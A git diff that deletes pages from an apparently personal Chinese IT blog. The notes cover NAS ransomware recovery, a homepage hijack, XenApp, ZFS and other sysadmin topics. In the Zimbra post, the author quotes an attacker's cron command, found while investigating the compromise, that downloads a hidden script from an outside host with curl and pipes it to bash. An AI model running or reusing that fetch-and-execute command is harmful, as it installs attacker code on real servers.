    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-sshmyentunnelmiwifi-e8-ae-93-e5-b0-8f-e7-b1-b3-e7-9b-92-e5-ad-90-e5-8f-af-e4-bb-a5-e5-8a-a0-e9-80-9f-ef-bc-9f/index.html b/themes/public/article/e7-ad-86-e8-a8-98-sshmyentunnelmiwifi-e8-ae-93-e5-b0-8f-e7-b1-b3-e7-9b-92-e5-ad-90-e5-8f-af-e4-bb-a5-e5-8a-a0-e9-80-9f-ef-bc-9f/index.html deleted file mode 100644 index ed31f409..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-sshmyentunnelmiwifi-e8-ae-93-e5-b0-8f-e7-b1-b3-e7-9b-92-e5-ad-90-e5-8f-af-e4-bb-a5-e5-8a-a0-e9-80-9f-ef-bc-9f/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - [筆記] SSH+MyEntunnel+MiWifi 讓小米盒子可以加速? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] SSH+MyEntunnel+MiWifi 讓小米盒子可以加速?

    -
    - - - 2015-01-08 - - - - - - - - - 未分類 - - - - - -
    - - -

    找個香港/美國 的VPS 建帳號可以用SSH登入

    - -

    用myentunnel 連到 VPS ,修改設定,把本來只能給本機(127.0.0.1)連線,改成 0.0.0.0 接受所有連線

    - -

    PC本機接miwifi 分享無線,小米盒子連 miwifi 的無線?不過這樣好像只有網頁會走ssh tunnel 出去?

    - -

    不然小米盒子要設定proxy 實在很麻煩..

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-synology-nas-e7-96-91-e4-bc-bc-e8-a2-ab-e5-85-a5-e4-be-b5-ef-bc-8c-e7-be-a4-e6-9a-89-e7-9c-9f-e7-9a-84-e8-a6-81-e5-8a-a0-e5-8a-a0-e6-b2-b9-e5-95-8a/index.html b/themes/public/article/e7-ad-86-e8-a8-98-synology-nas-e7-96-91-e4-bc-bc-e8-a2-ab-e5-85-a5-e4-be-b5-ef-bc-8c-e7-be-a4-e6-9a-89-e7-9c-9f-e7-9a-84-e8-a6-81-e5-8a-a0-e5-8a-a0-e6-b2-b9-e5-95-8a/index.html deleted file mode 100644 index 8a53594f..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-synology-nas-e7-96-91-e4-bc-bc-e8-a2-ab-e5-85-a5-e4-be-b5-ef-bc-8c-e7-be-a4-e6-9a-89-e7-9c-9f-e7-9a-84-e8-a6-81-e5-8a-a0-e5-8a-a0-e6-b2-b9-e5-95-8a/index.html +++ /dev/null @@ -1,535 +0,0 @@ - - - - - - - - - - [筆記] Synology NAS 疑似被入侵,群暉真的要加加油啊.. | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Synology NAS 疑似被入侵,群暉真的要加加油啊..

    -
    - - - 2014-08-08 - - - - - - - - - 未分類 - - - - - -
    - - -

    繼前陣子群暉NAS被拿來挖礦的問題之後 請參閱 http://forum.synology.com/enu/viewtopic.php?f=7&t=78993

    - -

    七月底八月初,群暉的NAS又出包了,這次是被駭客入侵後,把NAS上的檔案加密,並要求付出比特幣做為贖金(大概台幣 12000左右)

    - -

    不然資料就會被保留在加密的狀態,無法使用。

    - -

    詳情請參閱: http://www.pcdiy.com.tw/webroot/article.php?art=544

    - -

     

    - -

    事情發生之後,群暉也發出了信件通知USER應該怎麼處理,信件內容如下

    - -

      -> ## Dear Synology users, -> -> We would like to inform you that a ransomware called “SynoLocker” is currently affecting some Synology NAS users. This ransomware locks down affected servers, encrypts users’ files, and demands a fee to regain access to the encrypted files. -> -> We have confirmed that the ransomware only affects Synology NAS servers running older versions of DiskStation Manager by exploiting a security vulnerability that was fixed and patched in December, 2013. -> -> Affected users may encounter the following symptoms: -> -> * When attempting to log in to DSM, a screen appears informing users that data has been encrypted and a fee is required to unlock data. -> * Abnormally high CPU usage or a running process called “synosync” (which can be checked at Main Menu > Resource Monitor). -> * DSM 4.3-3810 or earlier; DSM 4.2-3236 or earlier; DSM 4.1-2851 or earlier; DSM 4.0-2257 or earlier is installed, but the system says no updates are available at Control Panel > DSM Update. -> -> -> If you have encountered the above symptoms, please shutdown the system immediately and contact our technical support here: https://myds.synology.com/support/support_form.php -> -> If you have not encountered the above symptoms, we strongly recommend downloading and installing DSM 5.0, or any version below: -> -> * DSM 4.3-3827 or later -> * DSM 4.2-3243 or later -> * DSM 4.0-2259 or later -> * DSM 3.x or earlier is not affected -> -> -> You can manually download the latest version from our Download Center and install it at Control Panel > DSM Update > Manual DSM Update. -> -> If you notice any strange behavior or suspect your Synology NAS server has been affected by the above issue, please contact us at security@synology.com. -> -> We sincerely apologize for any problems or inconvenience this issue has caused our users. We’ll keep you updated with the latest information as we continue to address this issue. -> -> Thank you for your continued patience and support. -> -> Sincerely, -> -> Synology Development Team

    - -

    在知道這件事情之後,我從外部連回公司,先把FW上面跟NAS相關、而且有開啟的port forward policy先關閉。(5000 我是已經關閉很久了,但是還有開一個 SSH 給群暉連進來)

    - -

    隔天進公司之後,把NAS叫出來看,本來還以為沒事的,結果檢查到第三條

    - -
    -

    DSM 4.3-3810 or earlier; DSM 4.2-3236 or earlier; DSM 4.1-2851 or earlier; DSM 4.0-2257 or earlier is installed, but the system says no updates are available at Control Panel > DSM Update.

    -
    - -

    啊,系! 我的版本還在 4.2 ,而且也的確顯示為已經是最新版本。

    - -

    跟群暉確認過之後,群暉建議還是依照他們的方法來處理

    - -

    1.關機

    - -

    2.把原有的硬碟抽出來

    - -

    3.裝一顆新的硬碟進去

    - -

    4.安裝 DSM 4.3-3810之後的版本

    - -

    5.關機

    - -

    6.接回原本的硬碟

    - -

    7.開機

    - -

    8.重新安裝DSM到 4.3-3810以後的版本

    - -

    以上是我簡述過的步驟,原文是

    - -
    -

    1. Shut down the NAS

    - -

    2. Remove all the hard drives from the NAS

    - -

    3. Find a spare hard drive that you will not mind wiping and insert it into

    - -

    the NAS

    - -

    4. Use Synology Assistant to find the NAS and install the latest DSM onto

    - -

    this spare hard drive (use the latest DSM_file.pat from Synology)

    - -

    5. When the DSM is fully running on this spare hard drive, shut down the NAS

    - -

    from the web management console.

    - -

    6. Remove the spare drive and insert ALL your original drives.

    - -

    7. Power up the NAS and wait patiently. If all goes well after about a minute

    - -

    you will hear a long beep and the NAS will come online.

    - -

    8. Use Synology Assistant to find the NAS. It should now be visible with the

    - -

    status “migratable”.

    - -

    9. From Synology Assistant choose to install DSM to the NAS, use the same

    - -

    file you used in step 4 and specify the same name and IP address as it was

    - -

    before the crash.

    - -

    10. Because the NAS is recognized as “migratable”, the DSM installation will

    - -

    NOT wipe out the data on either the system partition nor the data partition.

    - -

    11. After a few minutes, the installation will finish and you will be able to

    - -

    log in to your NAS with your original credentials.

    -
    - -

    在這之前,因為我手邊還有一台退役的 RS810+ ,想說先問問客服,我能不能把資料從現役的 DS 轉到 RS 上,做個備份比較安心

    - -

    結果客服居然回說:「那你這樣是不相信我們的作法囉???」

    - -

    好吧,既然你客服都這樣說了,反正我本來就有備份到USB,頂多就損失一天的資料唄!

    - -

    依照步驟操作,過程中倒是沒有發生什麼問題,但是,事情絕對不像我想的那麼簡單

    - -

    在安裝完最新版DSM、系統重開之後,我直接從我的筆電上開啟檔案總管去連NAS ,可以看到之前設定分享的目錄,但是會跳出詢問帳號密碼的視窗

    - -

    進到NAS管理界面檢查,發現沒有JOIN DOMAIN ……….

    - -

    手動加入網域、重開NAS,還是一樣會詢問帳號密碼

    - -

    再進入管理界面檢查,發現所有目錄設定的權限,包含ACL都不見了…………………………………….

    - -

    這是我第二次在操作群暉NAS升級時,發生這種升級成功、資料順利保留,但是權限不見的狀況

    - -

    偏偏敝公司NAS上的權限管制又特別的多、格外的複雜,想到要重設….靠北啊,整個想哭啊…

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-vps-e6-8f-90-e9-ab-98yum-e4-b8-8b-e8-bc-89-e9-80-9f-e5-ba-a6-e7-9a-84-e5-b7-a5-e5-85-b7/index.html b/themes/public/article/e7-ad-86-e8-a8-98-vps-e6-8f-90-e9-ab-98yum-e4-b8-8b-e8-bc-89-e9-80-9f-e5-ba-a6-e7-9a-84-e5-b7-a5-e5-85-b7/index.html deleted file mode 100644 index 620f92f0..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-vps-e6-8f-90-e9-ab-98yum-e4-b8-8b-e8-bc-89-e9-80-9f-e5-ba-a6-e7-9a-84-e5-b7-a5-e5-85-b7/index.html +++ /dev/null @@ -1,429 +0,0 @@ - - - - - - - - - - [筆記] VPS提高yum下載速度的工具 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] VPS提高yum下載速度的工具

    -
    - - - 2013-10-06 - - - - - - - - - 未分類 - - - - - -
    - - -

    axelget

    - -

    http://www.kwx.gd/CentOSApp/CentOS-Axel.html

    - -

    本來在現在這台主機上,用yum更新東西,速度都只有 xx Kb ,去下載freebsd ISO檔案,用ncftp顯示也只有6xx Kb,發了ticket 去問,想當然的只回覆說下載的情況要看對方頻寬而定,在這邊是沒有限制的。不過,這個下載速度看了就很不爽,網路上翻了一下,有人介紹axelget這個小軟體,簡單說就是console下的多點下載軟體,裝了之後,會變成yum的一個plugin,下載速度會很明顯的增加,測試了一下,也的確是如此沒錯!yum 更新檔案的速度大概都可以來到1M甚至更高!

    - -

    而且axel 可以用來單獨下載檔案,更是嚇嚇叫! -> [root@vps ~]# axel http://ftp.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/FreeBSD-9.0-RELEASE-amd64-disc1.iso -v -a -> -> Initializing download: http://ftp.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/FreeBSD-9.0-RELEASE-amd64-disc1.iso -> -> File size: 641787904 bytes -> -> Opening output file FreeBSD-9.0-RELEASE-amd64-disc1.iso -> -> Starting download -> -> -> Connection 1 finished ] -> -> Connection 2 finished ] -> -> Connection 0 finished ] -> -> [100%] […………………………………………..] [ 4.6MB/s] [00:00] -> -> -> Downloaded 612.1 megabytes in 2:13 seconds. (4710.24 KB/s) -> -> [root@vps ~]# - 

    - -

    列為VPS裝機必備工具!Big Smile

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-winaudit-e5-8f-83-e6-95-b8/index.html b/themes/public/article/e7-ad-86-e8-a8-98-winaudit-e5-8f-83-e6-95-b8/index.html deleted file mode 100644 index a599ce49..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-winaudit-e5-8f-83-e6-95-b8/index.html +++ /dev/null @@ -1,437 +0,0 @@ - - - - - - - - - - [筆記] WinAudit Parameters | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] WinAudit Parameters

    -
    - - - 2016-04-18 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

    WinAudit parameters

    - -

    WinAudit Freeware

    - -

    WinAuditu.exe /o=csv /f=%USERNAME%-%COMPUTERNAME%-%today%.csv /r=gmip /m=“收集系統資訊中 請勿關閉並請耐心等候約五秒鐘”

    - -

    /r -Report content, default is NO sections, i.e. nothing is done. -** g Include System Overview** -s Include Installed Software -o Include Operating System (Small letter o) -P Include Peripherals -x Include Security -u Include Groups and Users -T Include Scheduled Tasks -U Include Uptime Statistics -e Include Error Logs -E Include Environment Variables -R Include Regional Settings -N Include Windows Network -t Include Network TCP/IP -z Include Devices -D Include Display Capabilities -a Include Display Adapters -I Include Installed Printers (Capital I ) -b Include BIOS Version -M Include System Management -p Include Processor -** m Include Memory** -** i Include Physical Disks** -d Include Drives -c Include Communication Ports -S Include Startup Programs -A Include Services -r Include Running Programs -C Include ODBC Information -O Include OLE DB Drivers (Capital O) -H Include Software Metering -G Include User Logon Statistics

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-winxp-e9-9b-bb-e8-85-a6-ie-e9-a6-96-e9-a0-81-e8-a2-abdh440-com-httpweb-sogou-com12141-e7-b6-81-e6-9e-b6-e3-80-81-e5-8a-ab-e6-8c-81-e7-9a-84-e8-99-95-e7-90-86-e6-96-b9/index.html b/themes/public/article/e7-ad-86-e8-a8-98-winxp-e9-9b-bb-e8-85-a6-ie-e9-a6-96-e9-a0-81-e8-a2-abdh440-com-httpweb-sogou-com12141-e7-b6-81-e6-9e-b6-e3-80-81-e5-8a-ab-e6-8c-81-e7-9a-84-e8-99-95-e7-90-86-e6-96-b9/index.html deleted file mode 100644 index d0737410..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-winxp-e9-9b-bb-e8-85-a6-ie-e9-a6-96-e9-a0-81-e8-a2-abdh440-com-httpweb-sogou-com12141-e7-b6-81-e6-9e-b6-e3-80-81-e5-8a-ab-e6-8c-81-e7-9a-84-e8-99-95-e7-90-86-e6-96-b9/index.html +++ /dev/null @@ -1,561 +0,0 @@ - - - - - - - - - - [筆記] WinXP 電腦 IE首頁 被dh440.com & http://web.sogou.com/?12141 綁架、劫持的處理方法 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] WinXP 電腦 IE首頁 被dh440.com & http://web.sogou.com/?12141 綁架、劫持的處理方法

    -
    - - - 2017-01-11 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    工作上的需求,要幫業務弄一台XP的PC出來

    - -

    手邊已經沒有什麼XP的安裝片了,於是上網下載了一個

    - -

    系統家園Ghost XP SP3 繁體中文純淨版

    - -

    媽咧個B咧,純淨個屁喔!

    - -

    裡面裝了一堆亂七八糟有的沒的軟體,不過這些軟體好處理,就移除掉就好了

    - -

    但是呢,IE首頁一直被綁架著很不爽

    - -

    開啟IE後,會先讀取 dh440.com 然後會轉址到  http://web.sogou.com/?12141

    - -

    這東西非常頑固!不管是手動清registry 、改IE設定、甚至重設IE都沒用

    - -

    以往碰到的狀況,頂多就是重設IE就好,這次頭大了。

    - -

    好,想說以毒攻毒吧!先下個 360安全衛士,不管是掃描、掃毒、主頁保護都跑過了,還是沒用!

    - -

    又換個QQ電腦管家,也是一樣全功能都執行一遍,也是解決不了。

    - -

    又下載了 adwcleaner portable 來試試看,雖說有掃到東西,但是首頁被綁架的情況依然沒有成功處理

    - -

    最後又試了 malwarebyte 才總算把這個dh440.com 轉址 web.sogou.com 的首頁綁架解決!

    - -

    因為用dh440.com 當關鍵字去GOOGLE,其實找不到什麼有用的幫助

    - -

    就順便記錄一下,希望能幫到其他人!

    - -

     

    - -

    malwarebyte 最後掃出來的LOG是這樣

    - -

    我猜是那個2345explorer的問題 -> Malwarebytes -> -> www.malwarebytes.com -> -> -> -Log Details- -> -> Scan Date: 2017/1/11 -> -> Scan Time: 上午 10:44:27 -> -> Logfile: -> -> Administrator: Yes -> -> -> -Software Information- -> -> Version: 3.0.5.1299 -> -> Components Version: 1.0.43 -> -> Update Package Version: 1.0.974 -> -> License: Trial -> -> -> -System Information- -> -> OS: Windows XP Service Pack 3 -> -> CPU: x86 -> -> File System: NTFS -> -> User: QKIEYVGMWMKCQVW\Administrator -> -> -> -Scan Summary- -> -> Scan Type: Threat Scan -> -> Result: Completed -> -> Objects Scanned: 218347 -> -> Time Elapsed: 7 min, 8 sec -> -> -> -Scan Options- -> -> Memory: Enabled -> -> Startup: Enabled -> -> Filesystem: Enabled -> -> Archives: Enabled -> -> Rootkits: Enabled -> -> Heuristics: Enabled -> -> PUP: Enabled -> -> PUM: Enabled -> -> -> -Scan Details- -> -> Process: 0 -> -> (No malicious items detected) -> -> -> Module: 0 -> -> (No malicious items detected) -> -> -> Registry Key: 0 -> -> (No malicious items detected) -> -> -> Registry Value: 9 -> -> PUM.Optional.DisableShowSearch, HKU\S-1-5-18\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED|START_SHOWSEARCH, No Action By User, [19230], [293317],1.0.974 -> -> PUM.Optional.DisableShowHelp, HKU\S-1-5-18\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED|START_SHOWHELP, No Action By User, [19226], [293313],1.0.974 -> -> PUM.Optional.NoSMHelp, HKU\S-1-5-21-839522115-1532298954-1801674531-500\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER|NOSMHELP, No Action By User, [19245], [293358],1.0.974 -> -> PUM.Optional.DisabledSecurityCenter, HKLM\SOFTWARE\MICROSOFT\SECURITY CENTER|ANTIVIRUSDISABLENOTIFY, No Action By User, [19218], [293294],1.0.974 -> -> PUM.Optional.DisabledSecurityCenter, HKLM\SOFTWARE\MICROSOFT\SECURITY CENTER|FIREWALLDISABLENOTIFY, No Action By User, [19218], [293295],1.0.974 -> -> PUM.Optional.DisabledSecurityCenter, HKLM\SOFTWARE\MICROSOFT\SECURITY CENTER|UPDATESDISABLENOTIFY, No Action By User, [19218], [293296],1.0.974 -> -> PUM.Optional.DisableShowSearch, HKU\S-1-5-21-839522115-1532298954-1801674531-500\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED|START_SHOWSEARCH, No Action By User, [19230], [293317],1.0.974 -> -> PUM.Optional.DisableShowHelp, HKU\S-1-5-21-839522115-1532298954-1801674531-500\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED|START_SHOWHELP, No Action By User, [19226], [293313],1.0.974 -> -> PUM.Optional.NoSMHelp, HKU\S-1-5-18\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER|NOSMHELP, No Action By User, [19245], [293358],1.0.974 -> -> -> Data Stream: 0 -> -> (No malicious items detected) -> -> -> Folder: 3 -> -> PUP.Optional.Elex, C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\APPLICATION DATA\2345Explorer\User Data\Default, No Action By User, [15], [308620],1.0.974 -> -> PUP.Optional.Elex, C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\APPLICATION DATA\2345Explorer\User Data, No Action By User, [15], [308620],1.0.974 -> -> PUP.Optional.Elex, C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\APPLICATION DATA\2345Explorer, No Action By User, [15], [308620],1.0.974 -> -> -> File: 2 -> -> PUP.Optional.Elex, C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\APPLICATION DATA\2345Explorer\User Data\Default\Bookmarks, No Action By User, [15], [308620],1.0.974 -> -> PUP.Optional.Elex, C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\APPLICATION DATA\2345Explorer\User Data\Default\page_file.dat, No Action By User, [15], [308620],1.0.974 -> -> -> Physical Sector: 0 -> -> (No malicious items detected)

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-xenserverxenapp-e4-b8-8d-e9-80-8f-e9-81-8eag-ef-bc-8c-e7-9b-b4-e6-8e-a5-e5-be-9einternet-e9-80-a3-e7-b7-9a-e7-9a-84-e6-96-b9-e5-bc-8f/index.html b/themes/public/article/e7-ad-86-e8-a8-98-xenserverxenapp-e4-b8-8d-e9-80-8f-e9-81-8eag-ef-bc-8c-e7-9b-b4-e6-8e-a5-e5-be-9einternet-e9-80-a3-e7-b7-9a-e7-9a-84-e6-96-b9-e5-bc-8f/index.html deleted file mode 100644 index 1de13c0c..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-xenserverxenapp-e4-b8-8d-e9-80-8f-e9-81-8eag-ef-bc-8c-e7-9b-b4-e6-8e-a5-e5-be-9einternet-e9-80-a3-e7-b7-9a-e7-9a-84-e6-96-b9-e5-bc-8f/index.html +++ /dev/null @@ -1,507 +0,0 @@ - - - - - - - - - - [筆記] XenServer/XenApp 不透過AG,直接從Internet連線的方式 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] XenServer/XenApp 不透過AG,直接從Internet連線的方式

    -
    - - - 2013-10-03 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為最近要再次開放遠端桌面連線給員工使用,基於某些原因,我不是很想直接讓USER直接連線。

    - -

    不管是透過terminal service or XenApp,不過,命令終究是命令,遠端連線自然是沒有問題,不過之前問過廠商,如果要在INTERNET上直接提供XenApp,都是建議前面再放個AG之類的,那又是一筆額外的成本,所以這兩天在測試怎麼從INTERNET上直接連XenApp服務,但是碰到了許多的問題,以下簡單記錄一下處理的步驟。

    - -

    - -

    XenServer上,讓Guest OS能夠用Public IP

    - -

    本來想說直接在XenCenter上新增網卡給XenApp主機,然後到XenApp主機去設定真實IP就好,果然事情不像X人想的那麼簡單。設定好之好,當然是不會通 Big Boss

    - -

    在機房找了一條沒用的線路,接到XenServer沒接線的 NIC4,然後在XenCenter中,的Networking頁面中,新增一個network,並指定為Single-Server Private Network。

    - -

     

    - -

    xen-01

    - -

     

    - -

    xen-02

    - -

    好了之後,在XenCenter中,幫XenApp主機新增一張網卡,並指定剛剛建立的network

    - -

    xen-03

    - -

    再來,在XenApp主機上,設定剛剛的網卡,輸入真實IP的資訊

    - -

    xen-04

    - -

    設定完之後,雖然在windows中看到的狀態還是無網際網路連線,不過只要前端的firewall有設定好,其實這邊的訊息就可以不用管他。XenApp在firewall上要設定 80/1494/2598三個port。

    - -

    xen-05

    - -

    從外部ping一下 xenapp主機,看看有沒有通。

    - -

    xen-06

    - -

    PING通之後,再測試一下剛剛開的三個port mapping有沒有順利過來 -> Thu Oct 3 14:03:04 CST 2013 -> -> [root@AAA-01 tmp]# telnet 1.1.1.1 2598 -> -> Trying 1.1.1.1… -> -> Connected to 1.1.1.1. -> -> Escape character is ‘^]’. -> -> ^] -> -> telnet> quit -> -> Connection closed. -> -> [root@AAA-01 tmp]# telnet 1.1.1.1 1494 -> -> Trying 1.1.1.1… -> -> Connected to 1.1.1.1. -> -> Escape character is ‘^]’. -> -> ICA^] -> -> telnet> quit -> -> Connection closed. -測通的話,XenServer/XenCenter/XenApp這邊的設定就OK了

    - -

    XenApp的設定

    - -

    因為原本XenApp的用途是限定在LAN中使用,所以即使加入網卡,配發真實IP,在連線的時候,還是會碰到問題,XenApp還是會帶自己的LAN IP出來,造成連線錯誤。

    - -

    xen-07

    - -

     

    - -

    這部分目前在等廠商處理中。不過,有個變通的方法,因為點了這些程式,其實是去下載一個launuch.ica的檔案,而這個檔案就記錄了一些連線的資訊,當然也包含了連線的IP,所以只要修改這個檔案,其實就可以連線了。檔案內容大致如下圖,把192.168.10.238換成對應的真實IP,然後再開啟這個檔案,就可以連線了!

    - -

    xen-08

    - -

    成功在LINUX上執行公司的ERP系統

    - -

    xen-09

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-xpenology-nas-e7-b3-bb-e7-b5-b1/index.html b/themes/public/article/e7-ad-86-e8-a8-98-xpenology-nas-e7-b3-bb-e7-b5-b1/index.html deleted file mode 100644 index 315f9a53..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-xpenology-nas-e7-b3-bb-e7-b5-b1/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [筆記] XPEnology NAS 系統 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-zfs-e7-9c-9f-e6-98-af-e5-a5-bd-e7-89-a9/index.html b/themes/public/article/e7-ad-86-e8-a8-98-zfs-e7-9c-9f-e6-98-af-e5-a5-bd-e7-89-a9/index.html deleted file mode 100644 index bcc78ed7..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-zfs-e7-9c-9f-e6-98-af-e5-a5-bd-e7-89-a9/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - [筆記] ZFS真是好物 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] ZFS真是好物

    -
    - - - 2013-08-06 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為機房空調出問題,結果拿來備份用的PC系統硬碟掛點,雖然我有用mirror保護,但是因為是系統檔案毀損的關係,有MIRROR也沒屁用,這大概是MIRROR的盲點吧。

    - -

     

    - -

    anyway,剛剛重灌FreeBSD 9.1 (大概只花半小時不到就做完下載、寫入到隨身碟、安裝)

    - -

    登入系統之後,馬上 zpool import ,哈哈,東西果然都還在

    - -

    接著就zpool import pool_name  東西就都回來了。

    - -

    這已經是第二次救回zfs的資料了,真的是威力強大無比啊!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-zimbra-e4-b8-bb-e6-a9-9f-e7-96-91-e4-bc-bc-e8-a2-ab-e6-8b-bf-e4-be-86-e6-8c-96-e7-a4-a6-e4-ba-86/index.html b/themes/public/article/e7-ad-86-e8-a8-98-zimbra-e4-b8-bb-e6-a9-9f-e7-96-91-e4-bc-bc-e8-a2-ab-e6-8b-bf-e4-be-86-e6-8c-96-e7-a4-a6-e4-ba-86/index.html deleted file mode 100644 index 3f23c263..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-zimbra-e4-b8-bb-e6-a9-9f-e7-96-91-e4-bc-bc-e8-a2-ab-e6-8b-bf-e4-be-86-e6-8c-96-e7-a4-a6-e4-ba-86/index.html +++ /dev/null @@ -1,638 +0,0 @@ - - - - - - - - - - [筆記] Zimbra 主機疑似被拿來挖礦了 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Zimbra 主機疑似被拿來挖礦了

    -
    - - - 2014-08-08 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    最近發現Zimbra主機似乎被駭客打進去了

    - -

    會有 root 往外發信的紀錄,所以在 zimbra的postfix裡面設定了 always_bcc ,想看一下到底是寄出什麼東西

    - -

    似乎是透過crontab 定時送出,可是我/etc底下的 crontab 都檢查過了,沒看到異常說..

    - -

    信件內容如下 -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    -> -> -> ### Cron Daemon <root@> -> ->
    -> ->
    -> ->
    3:00 (5 小時前) -> ->
    -> ->
    -> -> -> -> -> -> -> -> -> -> -> -> -> ->
    -> ->
    寄給 zimbra
    -> ->
    -> ->
    -> ->

    -> ->
    -> ->
    -> -> /bin/sh: -c: line 0: syntax error near unexpected token (' -> -> /bin/sh: -c: line 0:/bin/bash <(curl -ksL https://cp1.awardspace.net/filemanager2/core/doc/.mz/.hEj2kQyT); /opt/zimbra/data/tmp/.z.sh’ -> -> ->   -> -> ->   - 

    - -

